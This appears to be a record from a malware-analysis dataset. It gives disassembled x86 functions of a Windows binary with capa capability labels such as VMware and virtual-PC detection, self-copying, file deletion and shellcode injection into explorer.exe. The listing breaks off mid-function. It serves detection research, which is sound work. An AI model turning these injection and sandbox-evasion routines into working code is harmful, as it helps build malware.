joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43c180
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [ebp - 0x138], ecx
mov dword [ebp - 4], 0
lea eax, [ebp - 0x134]
push eax
lea ecx, [ebp - 0x118]
push ecx
lea edx, [ebp - 0x110]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0x138]
call fcn.0043bfc0
movzx ecx, al
test ecx, ecx
je 0x43c296
cmp dword [ebp - 4], 3
jge 0x43c296
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
test eax, eax
jne 0x43c1e5
jmp 0x43c296
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x110]
push ecx
call fcn.0041e2ba
add esp, 8
test eax, eax
jne 0x43c288
lea edx, [ebp - 0x134]
push edx
mov ecx, dword [ebp - 0x138]
call fcn.0043bf60
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0
je 0x43c280
mov eax, dword [ebp - 0x138]
cmp dword [eax + 4], 0
je 0x43c23f
mov ecx, dword [ebp - 0x138]
mov edx, dword [ecx + 4]
push edx
call fcn.0043b700
add esp, 4
mov eax, dword [ebp - 0x138]
mov dword [eax + 4], 0
mov ecx, dword [ebp - 0x124]
push ecx
mov edx, dword [ebp - 0x114]
push edx
call fcn.0043b9e0
add esp, 8
mov ecx, dword [ebp - 0x138]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0x114]
push edx
call fcn.00438b80
add esp, 4
mov al, 1
jmp 0x43c298
push 1
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
jmp 0x43c196
xor al, al
mov esp, ebp
pop ebp
ret 4

Function at 0x43d9b0
Capabilities:
Check for vm using instruction vpcext

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45d420
push 0x453224
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
mov eax, 1
invalid

Function at 0x43da30
Capabilities:
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45d430
push 0x453224
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x19], 1
mov dword [ebp - 4], 0
push edx
push ecx
push ebx
mov eax, 0x564d5868
mov ebx, 0
mov ecx, 0xa
mov edx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete byte [ebp - 0x19]
pop ebx
pop ecx
pop edx
mov dword [ebp - 4], 0xffffffff
jmp 0x43daa3
mov al, byte [ebp - 0x19]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43db00
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push 0x400
call fcn.00438ba0
add esp, 4
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], 1
push 0
push 0x80
push 3
push 0
push 1
push 1
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x43dbb8
push 0
push 0x80
push 2
push 0
push 2
push 2
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0xc], 0
jbe 0x43dba0
cmp dword [ebp - 0x10], 0xffffffff
je 0x43dba0
push 0
lea edx, [ebp - 0xc]
push edx
push 0x400
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
cmp dword [ebp - 0xc], 0
jbe 0x43db9e
push 0
lea edx, [ebp - 0xc]
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
jmp 0x43db5b
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov al, 1
jmp 0x43dbba
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x43dbc0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
movzx edx, word [ecx]
cmp edx, 0x5a4d
jne 0x43dc00
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [0x464ba0], ecx
mov edx, dword [0x464ba0]
cmp dword [edx], 0x4550
je 0x43dbf9
xor eax, eax
jmp 0x43dc02
mov eax, dword [0x464ba0]
jmp 0x43dc02
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x43dd30
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov dword [ebp - 0x58], 0x44
push 0x40
push 0
lea eax, [ebp - 0x54]
push eax
call fcn.00409d10
add esp, 0xc
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x58]
push edx
push 0
push 0
push 0x8000044
push 0
push 0
push 0
push str.explorer.exe
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
je 0x43dd86
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp - 0x10]
jmp 0x43dd88
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x43dde0
Capabilities:
Check for vm using instruction vpcext

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45d710
push 0x453224
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x19], 0
mov dword [ebp - 4], 0
push ebx
mov ebx, 0
mov eax, 1
invalid
Function at 0x43df30
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x5c], 0
push 0x400
call fcn.00438ba0
add esp, 4
mov dword [ebp - 0x14], eax
mov byte [ebp - 0xd], 0
push 0x458ca0
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x458ca4
lea ecx, [ebp - 0x58]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x458ca8
lea edx, [ebp - 0x58]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x458cac
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x458cb0
lea ecx, [ebp - 0x58]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x458cb4
lea edx, [ebp - 0x58]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0
push 0x80
push 3
push 0
push 1
push 0x1f01ff
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x43e08e
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 4], ecx
push 0
lea edx, [ebp - 0x18]
push edx
push 0x400
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
cmp dword [ebp - 0x5c], 0x3f4
jae 0x43e08e
movzx edx, byte [ebp - 0xd]
test edx, edx
jne 0x43e08e
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x5c]
mov dword [ebp - 4], eax
push 0xc
lea ecx, [ebp - 0x58]
push ecx
mov edx, dword [ebp - 4]
push edx
call fcn.0040a8e4
add esp, 0xc
test eax, eax
jne 0x43e080
mov byte [ebp - 0xd], 1
push 0x400
mov eax, dword [ebp - 0x14]
push eax
call fcn.0043dbc0
add esp, 8
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
add eax, 0x20
mov ecx, dword [0x464ba0]
mov dword [ecx + 8], eax
push 0
push 0
push 0
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push 0
lea eax, [ebp - 0x18]
push eax
push 0x400
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
jmp 0x43e08e
mov eax, dword [ebp - 0x5c]
add eax, 1
mov dword [ebp - 0x5c], eax
jmp 0x43dffa
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edx, dword [ebp - 0x14]
push edx
call fcn.00438b80
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x43e0b0
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x254
mov byte [ebp - 5], 0
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push str..exe
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x250]
push eax
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x43e189
lea edx, [ebp - 0x224]
push edx
call fcn.0043dc10
add esp, 4
mov dword [ebp - 0x254], eax
mov eax, dword [ebp - 0x254]
push eax
call fcn.004238d0
add esp, 4
movzx ecx, al
test ecx, ecx
je 0x43e161
push 0x4585c0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x224]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov byte [ebp - 5], 1
mov edx, dword [ebp - 0x254]
push edx
call fcn.00438b80
add esp, 4
jmp 0x43e189
mov eax, dword [ebp - 0x254]
push eax
call fcn.00438b80
add esp, 4
lea ecx, [ebp - 0x250]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x43e101
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov al, byte [ebp - 5]
mov esp, ebp
pop ebp
ret
Function at 0x43e2e0
Capabilities:
Accept command line arguments
Check if file exists
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45393e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x38
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0x1e
mov dword [ebp - 4], 0
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.DLL_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x43e3ed
cmp dword [ebp - 0x14], 1
jle 0x43e37d
cmp dword [ebp - 0x18], 0
jle 0x43e37d
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 4]
mov dword [ebp - 0x20], edx
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
test eax, eax
je 0x43e365
jmp 0x43e37d
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 2
jne 0x43e372
jmp 0x43e37d
mov ecx, dword [ebp - 0x18]
sub ecx, 1
mov dword [ebp - 0x18], ecx
jmp 0x43e335
cmp dword [ebp - 0x14], 2
jle 0x43e3e3
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 8]
push eax
call fcn.0040a0a6
add esp, 4
mov dword [ebp - 0x24], eax
push 0x22
push 0
lea ecx, [ebp - 0x48]
push ecx
call fcn.00409d10
add esp, 0xc
cmp dword [ebp - 0x24], 0x20
jne 0x43e3e3
push 0x22
lea edx, [ebp - 0x48]
push edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + 8]
push ecx
call fcn.0040a0a6
add esp, 4
push eax
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 8]
push eax
call fcn.004239a0
add esp, 0x10
lea eax, [ebp - 0x48]
cdq
push edx
push eax
push 0x20f
call fcn.00425260
add esp, 0xc
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.DLL_LocalFree]
jmp 0x43e3fc
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43e420
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
mov byte [ebp - 5], 0
cmp dword [0x464ebc], 0
jne 0x43e448
push 0x104
call fcn.00438ba0
add esp, 4
mov dword [0x464ebc], eax
mov eax, dword [0x464ebc]
push eax
call fcn.0043dce0
add esp, 4
mov ecx, dword [0x464ebc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x4594b8
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea ecx, [ebp - 0x148]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x43e4f4
lea eax, [ebp - 0x11c]
push eax
call fcn.004238d0
add esp, 4
movzx ecx, al
test ecx, ecx
je 0x43e4df
mov edx, dword [0x464ebc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea ecx, [ebp - 0x11c]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov eax, dword [ebp + 8]
push eax
call fcn.0043e0b0
add esp, 4
movzx ecx, al
test ecx, ecx
je 0x43e4df
mov al, 1
jmp 0x43e501
lea edx, [ebp - 0x148]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x43e490
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov al, byte [ebp - 5]
mov esp, ebp
pop ebp
ret

Function at 0x43eae0
Capabilities:
Check for time delay via gettickcount
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [0x464ec0], 0
jne 0x43eb4a
push 0x200
call fcn.00438ba0
add esp, 4
mov dword [0x464ec0], eax
mov eax, dword [0x464ec0]
push eax
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
push 0x458be4
mov ecx, dword [0x464b08]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetTempFileNameA]
test eax, eax
jne 0x43eb4a
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
mov edx, dword [0x464b08]
push edx
push str._s_d.bmp
push 0x200
mov eax, dword [0x464ec0]
push eax
call fcn.004011d0
add esp, 0x14
push 0
push 0
push 0
push str.DISPLAY
call dword [sym.imp.GDI32.dll_CreateDCA]
mov dword [ebp - 0xc], eax
push 8
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov dword [ebp - 4], eax
push 0xa
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov dword [ebp - 8], eax
push 0
mov eax, dword [0x464ec0]
push eax
push 0x800000
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call fcn.0044c100
add esp, 0x14
push 0
mov eax, dword [0x464ec0]
push eax
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
mov esp, ebp
pop ebp
ret
Function at 0x43ec20
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x55c
mov dword [ebp - 0x558], 0
push 0x13a
push 0
lea eax, [ebp - 0x554]
push eax
call fcn.00409d10
add esp, 0xc
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
test eax, eax
jge 0x43ec5c
jmp 0x43ee0d
lea edx, [ebp - 0x55c]
push edx
push 2
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jge 0x43ec76
jmp 0x43ee0d
lea eax, [ebp - 0x208]
push eax
mov ecx, dword [ebp - 0x55c]
push ecx
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListA]
test eax, eax
jne 0x43ecb6
mov edx, dword [ebp - 0x55c]
push edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ecx + 0x14]
call eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [edx + 8]
call ecx
jmp 0x43ee0d
mov edx, dword [ebp - 0x55c]
push edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ecx + 0x14]
call eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [edx + 8]
call ecx
push 0x4585c0
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0
mov ecx, dword [0x464e9c]
call fcn.0043a670
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea ecx, [ebp - 0x208]
push ecx
push 0x458b90
push 0x200
lea edx, [ebp - 0x408]
push edx
call fcn.004011d0
add esp, 0x10
lea eax, [ebp - 0x558]
push eax
lea ecx, [ebp - 0x408]
push ecx
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x43edb8
push 0x458b98
lea edx, [ebp - 0x52c]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcmpA]
test eax, eax
je 0x43eda3
push 0x458b9c
lea eax, [ebp - 0x52c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpA]
test eax, eax
je 0x43eda3
lea ecx, [ebp - 0x52c]
push ecx
lea edx, [ebp - 0x208]
push edx
push 0x4585d8
push 0x200
lea eax, [ebp - 0x408]
push eax
call fcn.004011d0
add esp, 0x14
lea ecx, [ebp - 0x408]
push ecx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea edx, [ebp - 0x558]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x43ed43
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.DLL_FindClose]
push 0x80
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.DLL_RemoveDirectoryA]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov dword [ebp - 0x414], eax
cmp dword [ebp - 0x414], 0
je 0x43ee0d
mov dword [ebp - 0x414], 0
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.DLL_RemoveDirectoryA]
mov esp, ebp
pop ebp
ret
Function at 0x43ee20
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
lea eax, [ebp - 4]
push eax
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
test eax, eax
jge 0x43ee3c
jmp 0x43eeff
lea ecx, [ebp - 0x224]
push ecx
push 0x10
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jge 0x43ee56
jmp 0x43eeff
lea edx, [ebp - 0x110]
push edx
mov eax, dword [ebp - 0x224]
push eax
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListA]
test eax, eax
jne 0x43ee93
mov ecx, dword [ebp - 0x224]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx]
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [eax + 0x14]
call edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ecx + 8]
call eax
jmp 0x43eeff
mov ecx, dword [ebp - 0x224]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx]
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [eax + 0x14]
call edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ecx + 8]
call eax
push 1
mov ecx, dword [0x464e9c]
call fcn.0043a670
push eax
push 0
mov ecx, dword [0x464e9c]
call fcn.0043a670
push eax
lea ecx, [ebp - 0x110]
push ecx
push str._s_s__s.lnk
push 0x104
lea edx, [ebp - 0x218]
push edx
call fcn.004011d0
add esp, 0x18
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
mov esp, ebp
pop ebp
ret
Function at 0x43ef10
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Print debug messages
Spawn thread to rwx shellcode
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x184
mov dword [ebp - 0x17c], 0
call fcn.0043dd30
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0
jne 0x43ef38
xor eax, eax
jmp 0x43f0cc
push 0x40
push 0x3000
push 0x198
push 0
mov eax, dword [ebp - 0x5c]
push eax
call dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0
jne 0x43ef6a
mov ecx, dword [ebp - 0x5c]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
jmp 0x43f0cc
push str.kernel32.dll
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov dword [ebp - 0x54], eax
mov edx, dword [ebp - 0x60]
add edx, 0x80
mov dword [ebp - 0x184], edx
push str.WaitForSingleObject
mov eax, dword [ebp - 0x54]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x178], eax
push 0x458b54
mov ecx, dword [ebp - 0x54]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x174], eax
push 0x458b60
mov edx, dword [ebp - 0x54]
push edx
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x16c], eax
push 0x458b6c
mov eax, dword [ebp - 0x54]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x170], eax
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
mov dword [ebp - 0x58], eax
push 2
push 0
push 0
lea ecx, [ebp - 0x168]
push ecx
mov edx, dword [ebp - 0x5c]
push edx
mov eax, dword [ebp - 0x58]
push eax
mov ecx, dword [ebp - 0x58]
push ecx
call dword [sym.imp.KERNEL32.DLL_DuplicateHandle]
push 0x104
lea edx, [ebp - 0x164]
push edx
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 0
push 0x80
push 0x43dd90
call fcn.0043dd20
add esp, 4
push eax
mov eax, dword [ebp - 0x60]
push eax
mov ecx, dword [ebp - 0x5c]
push ecx
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
push 0
push 0x118
lea edx, [ebp - 0x178]
push edx
mov eax, dword [ebp - 0x184]
push eax
mov ecx, dword [ebp - 0x5c]
push ecx
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
mov edx, dword [ebp - 0x184]
push edx
mov eax, dword [ebp - 0x60]
push eax
push str._x__x_n
push 0x50
lea ecx, [ebp - 0x50]
push ecx
call fcn.004011d0
add esp, 0x14
lea edx, [ebp - 0x50]
push edx
call dword [sym.imp.KERNEL32.DLL_OutputDebugStringA]
lea eax, [ebp - 0x180]
push eax
push 0
mov ecx, dword [ebp - 0x184]
push ecx
mov edx, dword [ebp - 0x60]
push edx
push 0
push 0
mov eax, dword [ebp - 0x5c]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateRemoteThread]
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 0
je 0x43f0bf
mov ecx, dword [ebp - 0x17c]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
mov esp, ebp
pop ebp
ret
Function at 0x43f190
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
lea eax, [ebp - 8]
push eax
call fcn.0043d950
add esp, 4
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
lea ecx, [ebp - 8]
push ecx
call fcn.0043d970
add esp, 4
mov dword [ebp - 0xc], eax
push 0x20b
call fcn.00421760
add esp, 4
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
mov edx, dword [ebp - 0x28]
or edx, dword [ebp - 0x24]
jne 0x43f1e9
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 8]
push ecx
push 0x20b
call fcn.00425260
add esp, 0xc
jmp 0x43f239
push 0x20b
call fcn.00421760
add esp, 4
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], edx
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.0043d990
add esp, 0x10
fstp qword [ebp - 0x18]
fld qword [0x45bb40]
fcomp qword [ebp - 0x18]
fnstsw ax
test ah, 5
jp 0x43f239
call fcn.0043f170
call fcn.0043ef10
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
mov esp, ebp
pop ebp
ret
Function at 0x43f240
Capabilities:
Create directory
Delete file
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x453bb2
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x530
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x218]
push eax
call fcn.0043e420
add esp, 4
movzx ecx, al
test ecx, ecx
je 0x43f2e6
lea edx, [ebp - 0x218]
push edx
mov eax, dword [0x464b40]
push eax
call fcn.0041e2ba
add esp, 8
test eax, eax
jne 0x43f2cb
push 0x204
call fcn.00421760
add esp, 4
mov dword [ebp - 0x540], eax
mov dword [ebp - 0x53c], edx
mov ecx, dword [ebp - 0x540]
or ecx, dword [ebp - 0x53c]
jne 0x43f2c9
push 0
call fcn.004262f0
add esp, 4
jmp 0x43f2e1
push 1
lea edx, [ebp - 0x218]
push edx
call fcn.0044bd80
add esp, 8
call fcn.0043ef10
jmp 0x43f491
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call fcn.0040c3c4
add esp, 4
mov eax, dword [0x464b30]
push eax
push 0xa
lea ecx, [ebp - 0x320]
push ecx
call fcn.004251a0
add esp, 0xc
lea edx, [ebp - 0x530]
push edx
call fcn.0043dce0
add esp, 4
lea eax, [ebp - 0x320]
push eax
lea ecx, [ebp - 0x530]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x4585c0
lea edx, [ebp - 0x530]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x320]
push eax
lea ecx, [ebp - 0x530]
push ecx
push str._s_s.exe
push 0x104
lea edx, [ebp - 0x428]
push edx
call fcn.004011d0
add esp, 0x14
push 0
lea eax, [ebp - 0x530]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
lea ecx, [ebp - 0x428]
push ecx
mov edx, dword [0x464b40]
push edx
call fcn.0043db00
add esp, 8
movzx eax, al
test eax, eax
jne 0x43f39c
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
lea ecx, [ebp - 0x428]
push ecx
call fcn.0043df30
add esp, 4
cmp dword [0x464b24], 0
je 0x43f3c1
mov edx, dword [0x464b24]
push edx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push 1
lea eax, [ebp - 0x428]
push eax
call fcn.0044bd80
add esp, 8
mov dword [ebp - 4], 0
cmp dword [0x464b04], 0
je 0x43f473
cmp dword [0x464b00], 0
je 0x43f473
mov dword [ebp - 0x534], 0
jmp 0x43f40e
mov ecx, dword [ebp - 0x534]
add ecx, 1
mov dword [ebp - 0x534], ecx
mov edx, dword [ebp - 0x534]
cmp edx, dword [0x464b04]
jge 0x43f473
mov eax, dword [ebp - 0x534]
mov ecx, dword [0x464b00]
mov edx, dword [ecx + eax*4]
push edx
call fcn.0043d2a0
add esp, 4
mov dword [ebp - 0x538], eax
mov ecx, dword [0x464a90]
call fcn.00438f40
test eax, eax
jle 0x43f461
push 0x3e8
